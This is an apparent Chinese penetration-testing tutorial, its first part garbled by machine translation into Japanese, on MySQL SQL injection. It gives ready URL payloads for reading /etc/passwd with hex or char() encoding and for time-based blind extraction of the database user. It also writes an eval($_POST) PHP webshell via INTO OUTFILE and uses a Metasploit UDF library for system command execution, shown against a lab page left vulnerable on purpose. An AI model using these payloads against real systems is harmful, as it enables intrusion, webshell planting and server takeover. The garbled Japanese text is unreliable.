主要道路
最初の04週間
序文
次のようにタスク独立した研究の今週は、以下のとおりです。
付録は説明しました:
- 制約のすべての種類に対処するSQLI時、あなたは検証をバイパスするための変換関数のシリーズに付属しているデータベースシステムを使用することができます
- 例えば:傍受のような文字列変換関数、文字列の長さの機能
- 射出時間は、さまざまな方法で異なるデータベースをデータベースを使用して、システムコマンドを実行する必要があります
- 例えば:MySQLの
udf
、のSQLServerのxp_cmdshell
- 例えば:MySQLの
- 手動でデータベースを構築することができるいくつかのシナリオでは、プロセスの特権の昇格を理解するためには、コマンド、透過水を実行するために使用することができます
1.システムの機能
参考資料:MySQLの機能 https://dev.mysql.com/doc/refman/5.7/en/functions.html
1.1。文字列関数
MySQLでは、最も人気のあるは間違いなく、文字列関連の関数でした:
PS:直接の使用に関する明確ではありません
help xx
関数名 | 説明 |
---|---|
lower(str) |
小文字に文字列を変換します |
upper(str) |
大文字に文字列を変換 |
ltrim(str) |
空白のまま文字列を削除します |
rtrim(str) |
右のスペースに文字列を削除します |
trim([remove_str from ]str) |
スペースまたは指定した文字列の両端を削除します |
reverse(str) |
文字列を逆に |
length(str) |
保存された文字列の長さを返します。 |
char_length(str) |
文字列の文字数を返します。 |
instr(str,substr) |
SUBSTRが最初に出現する位置を返します。 |
left(str,n) |
文字列の最初のn文字を返します。 |
right(str,n) |
文字列nを返した後、 |
mid(str,pos[,len]) |
文字列のposの長さlenを取った位置から開始 |
substring(str,pos[,len]) |
文字列のposの長さlenを取った位置から開始 |
replace(str,old_str,new_str]) |
str内old_str new_strとの代わりに |
concat(str1,str2...) |
文字列に複数のストリング |
concat_ws(split_str,str1,str2...) |
文字スプライシングの複数の文字列を指定するには |
group_concat(column) |
パケットの値は、文字列に組み込まれます |
どのような使用方法の簡単なデモ:
1. lower、upper、ltrim、rtrim、trim
ケース:
2. length、char_length
ケース:
3. reverse、concat、concat_ws
ケース:
4. instr、substr
場合は、広告に行ってきました:
PS:
substring
と同等のsubstr
もmid
、それだけで、他のデータベースとの互換性
5. replace
より適切な広告ケース:(へ)
5. group_concat
排尿:
一般列を選択し、することによって、従来のデータベース・グループを使用する句または集約関数ジョブによってグループに含まれなければなりません。
MySQLの構文は互換性のあることが、結果は非常に正確ではありませんが、この時間は、あなたが使用することができますgroup_concat
:
select group_concat(file_name) as file_name, url, count(*) from file_records group by url;
PS:SQLServerのは、あなた自身を構築する必要が同じ効果を得ます:
select ids =(select stuff((select ',' + cast(id as varchar(20)) from file_records as f where f.url = file_records.url for xml path ('')), 1, 1, '')),url,count(*) from file_records group by url;
1.2。変換関数
関数名 | 説明 |
---|---|
hex(str) |
16進数に文字列を変換します |
to_base64(obj) |
Base64でエンコードされた文字列 |
from_base64(base64_str) |
base64文字列をデコードします |
unhex(16str) |
文字列は16進数に変換されます。 |
ord(str) |
左端の文字のASCIIコードを返します。 |
ascii(char) |
文字列strの左端の文字の値を返します。 |
char(ascii_num) |
対応する文字にASCIIコード値 |
convert(expr,type) |
式は、指定された型の型に変換されます |
base64の機能がされMySQL5.6
、その==>追加しますMariaDB 5.5.60 是没有的
PS:
MariaDB 10.0.5
ただ追加
PS:直接の使用に明らかではないが、help xx
一例を参照して、特定のケースのシナリオ
1.3。その他のシリーズ
関数名 | 説明 |
---|---|
if(expr,a,b) |
式exprが返された場合、結果は、そうでない場合は、Bの結果を設定します |
updatexml(xml_target, xpath_expr, new_xml) |
またXMLフラグメントを返します。 |
extractvalue(xml_frag, xpath_expr) |
XML文字列から値を抽出するために使用するXPath表記 |
sleep(time) |
睡眠時間秒 |
例2シーン
2.1。一部の特殊文字が表示されないことができます
1. 特定の特殊文字を表示されません
例:使用
load_file
時間関数を、そしてURLがブロックされた場合'
あなたはバイパスすることができ、進変換ルックを使用することができます。
また、あなたは使用することができますascii
し、char
機能:
SQL付録:
select * from users where id=1 union select @@version,@@version_compile_os,@@hostname,user(),database(),load_file('/etc/passwd'),7,8,9;
select hex('/etc/passwd'); -- 2F6574632F706173737764
-- 需要自己添加0x
select * from users where id=1 union select @@version,@@version_compile_os,@@hostname,user(),database(),load_file(0x2F6574632F706173737764),7,8,9;
-- 字符转换为ASCII码
select ascii('/'),ascii('e'),ascii('t'),ascii('c'),ascii('/'),ascii('p'),ascii('a'),ascii('s'),ascii('s'),ascii('w'),ascii('d');
-- ASCII码转为字符串
select char(47,101,116,99,47,112,97,115,115,119,100);
select * from users where id=1 union select @@version,@@version_compile_os,@@hostname,user(),database(),load_file(char(47,101,116,99,47,112,97,115,115,119,100)),7,8,9;
2.2。ブラウザが文字化けして返します
2. ブラウザが文字化けを返し、またはプログラムは、高感度な検出結果を返すために
例えば:によって
hex
リターン結果16進数に変換します
SQL付録:
select hex(load_file(0x2F6574632F706173737764));
select hex(load_file(char(47,101,116,99,47,112,97,115,115,119,100)));
-- 解密
select unhex('726F6F743A783A303A303A...6E6F6C6F67696E0A');
2.3。ラインは、必要なすべての結果をチェックしてください
3.ラインは、必要なすべての結果をチェックしてください
PS:使用
concat
またはconcat_ws()
SQL付録:
-- 推荐使用concat_ws(有null的时候也是有结果的)
select username from workdb.users where id=1 union select concat_ws(',',user(),database(),version());
select hex(','); -- 2C
select username from workdb.users where id=1 union select concat_ws(0x2c,user(),database(),version());
2.4。MySQLはエラーメッセージを表示する必要があります
4. エラーメッセージMySQLを表示する必要が
PS:使用
updatexml
またはextractvalue
很多时候MySQL会隐藏错误提示,这时候我们可以通过别样的方式来让它显示错误信息,从而得到更多对渗透有利的info
SQL附录:
select convert((select @@version),int);
select updatexml(1,concat('~',(select @@version)),1);
select extractvalue(1,concat('~',(select @@version),1));
2.5.延时注入判断
有时候网站容错性比较强(各种默认值)在注入的时候不管加什么参数页面都没什么变化,这时候可以使用延时注入,用是否卡顿来判断是否有注入点
eg:
select * from users where id=1 or sleep(3);
orselect * from users where id=1 and sleep(3);
举个延迟注入获取数据的例子:
eg:获取当前用户名
大体思路:
- 查询当前用户猜测出用户名长度
- 截取第一个字符并转换为ASCII码
- 讲第一个字符的ASCII码和ASCII码表对比,匹配则延迟3s
- 继续截取字符并对比,直到全部解猜出来
获取用户名长度的SQL附录:
-- 获取当前用户的长度,不延迟说明不对
select if(length(user())=1,sleep(3),1);
select if(length(user())=2,sleep(3),1);
select if(length(user())=3,sleep(3),1);
select if(length(user())=4,sleep(3),1);
......
select if(length(user())=15,sleep(3),1);
select if(length(user())=16,sleep(3),1);
select if(length(user())=17,sleep(3),1);
select if(length(user())=18,sleep(3),1); -- 延迟了3s
-- PS:可以自己验证一下是不是18位
select user(); -- [email protected]
select char_length(user()); -- 18
获取用户名每一个字符的SQL附录:(数据库通用的substring
可以换成mysql独有的mid
)
基本上都是在这里匹配:a~z
、A~Z
、0~9
、_、@、%、#...
,只看@
前面的字符,后面的直接忽略
ASCCI:
%:37
、0:48~9:57
、@:64
、A:65~Z:90
、_:95
、a:97~z:122
(可以使用二分法快速定位)
-- 获取第一个字符是什么
select if(substring(user(),1,1)>'a',sleep(3),1); -- 延迟3s,说明第1个字符比a大
select if(substring(user(),1,1)<'z',sleep(3),1); -- 延迟3s,说明在a~z之间
select if(substring(user(),1,1)>'p',sleep(3),1); -- 不延迟,说明在a~p之间
select if(substring(user(),1,1)<'h',sleep(3),1); -- 延迟3s,说明在a~h之间
select if(substring(user(),1,1)>'e',sleep(3),1); -- 不延迟,说明在a~e之间
select if(substring(user(),1,1)>'c',sleep(3),1); -- 延迟3s,说明在c~e之间 ==> 那就是d了
select if(substring(user(),1,1)='d',sleep(3),1); -- 延迟3s,说明第1个字符是d
-- 获取第二个字符是什么
select if(substring(user(),2,1)>'a',sleep(3),1); -- 延迟3s,说明第2个字符比a大
select if(substring(user(),2,1)<'z',sleep(3),1); -- 延迟3s,说明在a~z之间
select if(substring(user(),2,1)>'p',sleep(3),1); -- 不延迟,说明在a~p之间
select if(substring(user(),2,1)<'h',sleep(3),1); -- 不延迟,说明在h~p之间
select if(substring(user(),2,1)>'m',sleep(3),1); -- 延迟3s,说明在m~p之间
select if(substring(user(),2,1)<'o',sleep(3),1); -- 延迟3s,说明在m~0之间 ==> 那就是n了
select if(substring(user(),2,1)='n',sleep(3),1); -- 延迟3s,说明第2个字符是n
-- 获取第三个字符是什么
select if(substring(user(),3,1)>'a',sleep(3),1); -- 延迟3s,说明第3个字符比a大
select if(substring(user(),3,1)<'z',sleep(3),1); -- 延迟3s,说明在a~z之间
select if(substring(user(),3,1)>'p',sleep(3),1); -- 延迟3s,说明在p~z之间
select if(substring(user(),3,1)<'v',sleep(3),1); -- 延迟3s,说明在p~v之间
select if(substring(user(),3,1)<'s',sleep(3),1); -- 不延迟,说明在s~v之间
select if(substring(user(),3,1)>'t',sleep(3),1); -- 不延迟,说明在s~t之间 ==> 要么s要么t
select if(substring(user(),3,1)='s',sleep(3),1); -- 不延迟
select if(substring(user(),3,1)='t',sleep(3),1); -- 延迟3s,说明第3个字符是n
-- 获取第四个字符是什么
select if(substring(user(),4,1)>'a',sleep(3),1); -- 不延迟,说明第4个字符比a小
select if(substring(user(),4,1)>'A',sleep(3),1); -- 不延迟,说明第4个字符比A小
select if(substring(user(),4,1)>'0',sleep(3),1); -- 延迟3s,说明可能是数字或者特殊符号
select if(substring(user(),4,1)<'9',sleep(3),1); -- 不延迟,说明是9~A之间的特殊符号
select if(substring(user(),4,1)='@',sleep(3),1); -- 延迟3s,说明就是@了
-- 说明用户名为:dnt
-- PS:可以自己验证一下:dnt@
select substring(user(),1,1),substring(user(),2,1),substring(user(),3,1),substring(user(),4,1);
3.UDF实战
以下为自己构造的场景,然后附上了自我入侵的全过程,如有便捷之处还望指正~
3.1.大体思路
- 写一句话木马
- 菜刀连接
- 上传udf文件,不行就先上传大马,然后通过大马上传udf文件
- 创建功能函数
- 执行提权或者其他命令
- 删除函数
3.2.构造注入页面
写一个存在SQLi的页面:index.php
测试环境:
phpstudy ==> PHP7 + MySQL5.7 + Nginx1.15.11
<?php
// 自己构造的一个sqli页面
$pms=$_GET["id"];
if(empty($pms)){
$pms=1;
}
echo "id=" . $pms . "<br/>";
$conn=new mysqli("localhost", "root", "xxxx", "workdb");
if ($conn->connect_error) {
die("连接失败:" . $conn->connect_error);
}
// 防止中文乱码
$conn->query("set names utf8;");
$sql = "select username,password from workdb.users where id=" . $pms;
echo "SQL:" . $sql . "<br/>";
$result = $conn->query($sql);
if($result->num_rows > 0){
while($row = $result->fetch_assoc()){
echo "username:" . $row["username"] . ",name:" . $row["password"] . "<br/>";
}
} else {
echo "no results";
}
$conn->close();
?>
本案成功前提:配置文件中设置了secure-file-priv=
、root允许远程登录
PS:如有更好方法,还望大牛指教
3.3.信息查询
url构造:index.php?id=1 union select @@version,@@plugin_dir
url构造查询:index.php?id=1 union select load_file('D:\\Program Files (x86)\\phpstudy_pro\\WWW\\index.php'),concat(@@version_compile_os,',',@@version_compile_machine)
PS:如果遇到特殊字符屏蔽可以使用16进制(上面场景中我已经说过)
Linux
PS:Linux下可以查看/etc/passwd
发现有Nginx、Apache这些用户名,说明可能存在这些服务器,那么可以试试这些的web默认路径
eg:
index.php?id=1 union select load_file('/usr/share/nginx/html/index.php'),2
so ==> 网站根目录出现了(有时候/etc/passwd
中直接就可以看到)
3.4.写入一句话
url构造:index.php?id=1 union select 0x3c3f706870206576616c28245f504f53545b627279616e5d293b203f3e,1 into outfile 'D:\\Program Files (x86)\\phpstudy_pro\\WWW\\xiaoma.php'
Linux
PS:如果Linux权限配置不到位,也是可以通过这种方式上传的
构造:index.php?id=1 union select '<?php eval($_POST[bryan]); ?>',1 into outfile '/usr/share/nginx/html/xiaoma.php'
发现被屏蔽了,那把一句话转换为16进制字符串
index.php?id=1 union select 0x3c3f706870206576616c28245f504f53545b627279616e5d293b203f3e,1 into outfile '/usr/share/nginx/html/xiaoma.php'
PS:权限配置分明的就没法通过这个方式写入一句话了(就看安装的时候权限分配,以及网站根目录权限设置)
使用菜刀连接一句话木马:
3.5.连接一句话
菜刀下载:https://github.com/raddyfiy/caidao-official-version
取代菜刀:蚁剑:https://github.com/AntSwordProject/AntSword-Loader or Cknife:https://github.com/Chora10/Cknife
通过菜刀连接一句话木马
如果是PHP5则没有问题,如果是PHP7,会出现:Cannot call assert() with string argument dynamically
的提示
解决:可以参考我写的这篇文章:https://www.cnblogs.com/dotnetcrazy/p/11407505.html
3.6.上传文件
根据系统去metasploit
目录中下载对应的udf文件
PS:https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql
チョッパーによってプラグインディレクトリにアップロード:D:\Program Files (x86)\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\
PS:ここでの最初のマレーシアマレーシアアップロードされたことにより、再びそれをアップロードすることなく、直接アップロードすることができます
PS:勝利のdllを使用して、Linuxはその使用します
3.7。評価関数を作成します
URLの構造:index.php?id=1;create function sys_eval returns string soname 'udf.dll';#
発見の実行コマンドが正常に実行されません後
PS:SQLリクエストを見ることができ、従来のログを開始します
(クエリが唯一の理由のPHP文を実行することができ、おそらくので)ブロックされることが判明
PS:私は、SQLクエリのどのような完全な実装を考えるとで言うことができる関数を作成します
思想の他の行に:(MySQLのPHP接続が何らかの機密情報とすることができる場合)設定ファイルを読み込み
PS:純
web.conf
同じ
URLの構造:index.php?id=1 union select load_file('D:\\Program Files (x86)\\phpstudy_pro\\WWW\\index.php'),2
PS:実際には、我々は、一度の読み取りに関する情報を取得し始めている、そして今、彼らは来るバイパス。。。
リモートサーバーに接続します。./mysql -h'192.168.36.144' -uroot -p
PS:勝利の使用:create function sys_eval returns string soname 'udf.dll';
Linuxの使用:
create function sys_eval returns string soname 'udf.so';
3.8。注文実行システム
あなたがブラウザを介してリモートコマンドを実行し、この時間も可能です。
PS:URL構造:
index.php?id=1 union select sys_eval('whoami'),2
PS:機能を削除します。drop function sys_eval;
付録
参考資料
MySQL XML相关函数:
https://dev.mysql.com/doc/refman/5.7/en/xml-functions.html
udf文件:
https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql
MySQL函数列表:
https://www.w3cschool.cn/mysql
https://www.runoob.com/mysql/mysql-functions.html
https://www.w3resource.com/mysql/mysql-functions-and-operators.php
MySQL UDF渗透测试
https://zhuanlan.zhihu.com/p/35401523
https://www.freebuf.com/articles/system/163144.html
PHP7和PHP5在安全上的区别
https://www.freebuf.com/articles/web/197013.html
一句话木马的套路
https://www.freebuf.com/articles/web/195304.html
菜刀连接php一句话木马返回200的原因及解决方法
http://shuiboye.blogspot.com/2018/01/php200.html